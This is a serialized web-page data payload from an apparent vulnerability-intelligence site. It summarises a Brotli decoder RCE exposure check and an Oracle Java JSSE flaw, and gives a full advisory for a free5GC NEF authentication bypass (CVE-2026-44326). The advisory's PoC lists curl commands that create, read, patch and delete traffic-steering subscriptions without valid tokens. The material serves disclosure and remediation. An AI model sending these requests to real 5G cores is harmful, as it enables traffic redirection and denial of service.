[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2026-44326":30,"landing-articles":111},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":47,"cwes":48,"cpes":50,"technologies":54,"references":57,"score":63,"epss_score":64,"epss_percentile":65,"is_kev":66,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":67,"attack_mappings":77,"exploits":108},13044,"CVE-2026-44326","EUVD-2026-32572","free5GC's NEF 3gpp-traffic-influence API is unauthenticated; missing or forged bearer tokens can create, read, patch, and delete subscriptions\n\n### Summary\nfree5GC's NEF mounts the `3gpp-traffic-influence` API without inbound OAuth2\u002Fbearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, patch, and delete traffic-influence subscriptions either with no `Authorization` header at all, or with a forged bearer token (e.g. `Authorization: Bearer not-a-real-token`). This includes creating `AnyUeInd=true` subscriptions intended to affect group \u002F any-UE traffic steering. The route group is also reachable even when the running config's `ServiceList` does not declare it, so operators who think they disabled the service via config are still exposed.\n\nThis is the highest-impact NEF service exposure observed in the lab because it enables unauthenticated state changes on traffic-steering policy objects rather than read-only exposure.\n\n### Details\nValidated against the NEF container in the official Docker compose lab.\n- Source repo tag: `v4.2.1`\n- Running Docker image: `free5gc\u002Fnef:v4.2.0`\n- Runtime NEF commit: `5ce35eab`\n- Docker validation date: 2026-03-11\n\nNEF advertises `OAuth2 setting receive from NRF: true`, and its `ServiceList` only declares `nnef-pfdmanagement` and `nnef-oam`. Despite that, the `3gpp-traffic-influence` route group is mounted and reachable with no inbound auth middleware.\n\nCode evidence (paths in `free5gc\u002Fnef`):\n- Route group mounted without auth middleware: `NFs\u002Fnef\u002Finternal\u002Fsbi\u002Fserver.go:48`\n- CRUD routes exposed at `\u002F:afID\u002Fsubscriptions` and `\u002F:afID\u002Fsubscriptions\u002F:subID`: `NFs\u002Fnef\u002Finternal\u002Fsbi\u002Fapi_ti.go:13`\n- POST allocates AF\u002Fsubscription state and writes traffic-influence data: `NFs\u002Fnef\u002Finternal\u002Fsbi\u002Fprocessor\u002Fti.go:50`\n- PATCH looks up and updates the subscription, then calls UDR\u002FPCF: `NFs\u002Fnef\u002Finternal\u002Fsbi\u002Fprocessor\u002Fti.go:279`\n- DELETE looks up and removes the subscription: `NFs\u002Fnef\u002Finternal\u002Fsbi\u002Fprocessor\u002Fti.go:355`\n- NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs\u002Fnef\u002Finternal\u002Fcontext\u002Fnef_context.go:153`\n- Config validation only allows `nnef-pfdmanagement` and `nnef-oam`: `NFs\u002Fnef\u002Fpkg\u002Ffactory\u002Fconfig.go:126`\n\n### PoC\nReproduced end-to-end against the running NEF at `http:\u002F\u002F10.100.200.19:8000`.\n\n1. CREATE subscription with NO `Authorization` header at all -> `201 Created`:\n```\ncurl -i \\\n  -H 'Content-Type: application\u002Fjson' \\\n  --data '{\"afServiceId\":\"svc-noauth\",\"afAppId\":\"app-noauth\",\"dnn\":\"internet\",\"snssai\":{\"sst\":1,\"sd\":\"010203\"},\"anyUeInd\":true,\"trafficFilters\":[{\"flowId\":1,\"flowDescriptions\":[\"permit out ip from 192.0.2.40 to 198.51.100.0\u002F24\"]}],\"trafficRoutes\":[{\"dnai\":\"mec-noauth\",\"routeInfo\":{\"ipv4Addr\":\"10.60.0.1\",\"portNumber\":0}}]}' \\\n  http:\u002F\u002F10.100.200.19:8000\u002F3gpp-traffic-influence\u002Fv1\u002Faf-poc-noauth\u002Fsubscriptions\n```\n\n2. CREATE second subscription with FORGED bearer token -> `201 Created`:\n```\ncurl -i \\\n  -H 'Authorization: Bearer not-a-real-token' \\\n  -H 'Content-Type: application\u002Fjson' \\\n  --data '{\"afServiceId\":\"svc-high\",\"afAppId\":\"app-high\",\"dnn\":\"internet\",\"snssai\":{\"sst\":1,\"sd\":\"010203\"},\"anyUeInd\":true,\"trafficFilters\":[{\"flowId\":1,\"flowDescriptions\":[\"permit out ip from 192.0.2.20 to 198.51.100.0\u002F24\"]}],\"trafficRoutes\":[{\"dnai\":\"mec-poc\",\"routeInfo\":{\"ipv4Addr\":\"10.60.0.2\",\"portNumber\":0}}]}' \\\n  http:\u002F\u002F10.100.200.19:8000\u002F3gpp-traffic-influence\u002Fv1\u002Faf-poc-high\u002Fsubscriptions\n```\n\n3. READ with forged token -> `200 OK`:\n```\ncurl -i -H 'Authorization: Bearer not-a-real-token' \\\n  http:\u002F\u002F10.100.200.19:8000\u002F3gpp-traffic-influence\u002Fv1\u002Faf-poc-high\u002Fsubscriptions\u002F1\n```\n\n4. PATCH with forged token -> `500 Query to UDR failed` (still reaches business logic, not 401\u002F403, so auth bypass confirmed):\n```\ncurl -i -X PATCH \\\n  -H 'Authorization: Bearer not-a-real-token' \\\n  -H 'Content-Type: application\u002Fjson' \\\n  --data '{\"trafficFilters\":[{\"flowId\":1,\"flowDescriptions\":[\"permit out ip from 192.0.2.20 to 198.51.100.0\u002F24\"]}],\"trafficRoutes\":[{\"dnai\":\"mec-poc-updated\"}]}' \\\n  http:\u002F\u002F10.100.200.19:8000\u002F3gpp-traffic-influence\u002Fv1\u002Faf-poc-high\u002Fsubscriptions\u002F1\n```\n\n5. DELETE with forged token -> `204 No Content`:\n```\ncurl -i -X DELETE \\\n  -H 'Authorization: Bearer not-a-real-token' \\\n  http:\u002F\u002F10.100.200.19:8000\u002F3gpp-traffic-influence\u002Fv1\u002Faf-poc-high\u002Fsubscriptions\u002F1\n```\n\nNEF container logs (`docker logs nef`) show the requests reaching business handlers and returning success \u002F 500-from-business codes (never 401\u002F403):\n```\n[INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-high]\n[INFO][NEF][GIN] | 201 | POST   | \u002F3gpp-traffic-influence\u002Fv1\u002Faf-poc-high\u002Fsubscriptions\n[INFO][NEF][TraffInfl] PatchIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1]\n[INFO][NEF][GIN] | 500 | PATCH  | \u002F3gpp-traffic-influence\u002Fv1\u002Faf-poc-high\u002Fsubscriptions\u002F1\n[INFO][NEF][TraffInfl] GetIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1]\n[INFO][NEF][GIN] | 200 | GET    | \u002F3gpp-traffic-influence\u002Fv1\u002Faf-poc-high\u002Fsubscriptions\u002F1\n[INFO][NEF][TraffInfl] DeleteIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1]\n[INFO][NEF][GIN] | 204 | DELETE | \u002F3gpp-traffic-influence\u002Fv1\u002Faf-poc-high\u002Fsubscriptions\u002F1\n[INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-noauth]\n[INFO][NEF][GIN] | 201 | POST   | \u002F3gpp-traffic-influence\u002Fv1\u002Faf-poc-noauth\u002Fsubscriptions\n```\n\n### Impact\nMissing inbound authentication (CWE-306) and authorization (CWE-862) on the highest-impact NEF SBI surface. Any party that can reach NEF on the SBI network can:\n- Create attacker-controlled traffic-influence subscriptions (including `AnyUeInd=true` group\u002Fany-UE subscriptions), redirecting AF traffic to attacker-chosen DNAIs and routing endpoints via SMF\u002FUPF.\n- Read existing AF subscriptions, leaking traffic-steering policy data.\n- Patch existing subscriptions, modifying live traffic-steering decisions for legitimate AFs.\n- Delete subscriptions, denying service to legitimately provisioned traffic influence.\n\nThe traffic-influence route group is also reachable even when the runtime `ServiceList` does not declare it, so operators relying on `ServiceList` to disable the service do not actually get that protection.\n\nAffected: free5gc v4.2.1.\n\nUpstream issue: https:\u002F\u002Fgithub.com\u002Ffree5gc\u002Ffree5gc\u002Fissues\u002F859\nUpstream fix: https:\u002F\u002Fgithub.com\u002Ffree5gc\u002Fnef\u002Fpull\u002F23","2026-05-08T22:58:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":44,"userInteraction":45,"attackComplexity":46,"availabilityImpact":44,"privilegesRequired":45,"confidentialityImpact":46},"UNCHANGED","3.1",9.4,"NETWORK","CRITICAL","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:L\u002FI:H\u002FA:H","HIGH","NONE","LOW",true,[49],"CWE-862",[51,52,53],"cpe:2.3:a:free5gc:free5gc:*:*:*:*:*:*:*:*","cpe:2.3:a:free5gc:nef:*:*:*:*:*:*:*:*","cpe:2.3:a:free5gc:nef:1.2.3:*:*:*:*:*:*:*",[55,56],"Free5Gc Free5Gc","Free5Gc Nef",[58,59,60,61,62],"https:\u002F\u002Fgithub.com\u002Ffree5gc\u002Ffree5gc\u002Fissues\u002F859","https:\u002F\u002Fgithub.com\u002Ffree5gc\u002Ffree5gc\u002Fsecurity\u002Fadvisories\u002FGHSA-3p28-73q7-45xp","https:\u002F\u002Fgithub.com\u002Ffree5gc\u002Fnef\u002Fpull\u002F23","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2026-44326","https:\u002F\u002Fgithub.com\u002Ffree5gc\u002Ffree5gc",0.82,0.00311,0.23749,false,{"timestamp":68,"automatable":69,"tech_impact":70,"exploitation":71,"cisa_decision":72,"cisa_remediation_timeline":76},"2026-05-27T17:52:41.631117Z","yes","partial","poc",{"vector":73,"decision":74,"priority":75},"CISAv1\u002FE:P\u002FA:Y\u002FT:P\u002FM:H\u002F2026-10-26T06:03:46.513886\u002F","attend","medium","14D",[78,84,93,100],{"name":79,"source":80,"tactics":81,"technique_id":83},"Exploit Public-Facing Application","attack_vector",[82],"initial-access","T1190",{"name":85,"source":86,"cwe_ids":87,"tactics":88,"capec_ids":90,"technique_id":92},"Exploitation for Stealth","capec",[49],[89],"stealth",[91],"CAPEC-665","T1211",{"name":94,"source":86,"cwe_ids":95,"tactics":96,"capec_ids":98,"technique_id":99},"Component Firmware",[49],[97,89],"persistence",[91],"T1542.002",{"name":101,"source":86,"cwe_ids":102,"tactics":103,"capec_ids":106,"technique_id":107},"Modify Authentication Process",[49],[104,105,97],"credential-access","defense-impairment",[91],"T1556",[109,110],{"link":58},{"link":59},{"count":112,"next":113,"previous":6,"results":114},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[115,123,131],{"id":116,"title":117,"summary":118,"published_at":119,"type":120,"link":121,"image_url":122},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":124,"title":125,"summary":126,"published_at":127,"type":128,"link":129,"image_url":130},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":132,"title":133,"summary":134,"published_at":135,"type":136,"link":137,"image_url":138},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]